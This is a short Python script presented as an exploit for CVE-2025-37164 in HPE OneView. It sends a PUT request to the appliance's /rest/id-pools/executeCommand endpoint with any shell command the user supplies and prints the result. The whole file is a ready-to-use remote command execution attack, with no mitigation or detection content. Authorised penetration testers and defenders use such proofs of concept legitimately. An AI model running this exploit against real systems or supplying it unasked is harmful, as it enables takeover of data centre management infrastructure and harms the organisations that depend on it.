#!/usr/bin/env python3

'''
    
    This Script provide an Exploit for the CVE-2025-37164 impacting HPE OneView

'''

import argparse
import requests
import sys

def main():
    parser = argparse.ArgumentParser(
        description="Exploit for CVE-2025-37164"
    )
    parser.add_argument("IP", help="Target IP or hostname")
    parser.add_argument("command", help="Command to execute")

    args = parser.parse_args()

    url = f"http://{args.IP}/rest/id-pools/executeCommand"

    headers = {
        "accept-language": "en_US",
        "X-API-Version": "7200",
        "Content-Type": "application/json",
    }

    payload = {
        "cmd": args.command,
        "result": False
    }

    try:
        response = requests.put(url, headers=headers, json=payload, timeout=10)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}", file=sys.stderr)
        sys.exit(1)

    print("Status code:", response.status_code)
    print("Response body:")
    print(response.text)


if __name__ == "__main__":
    main()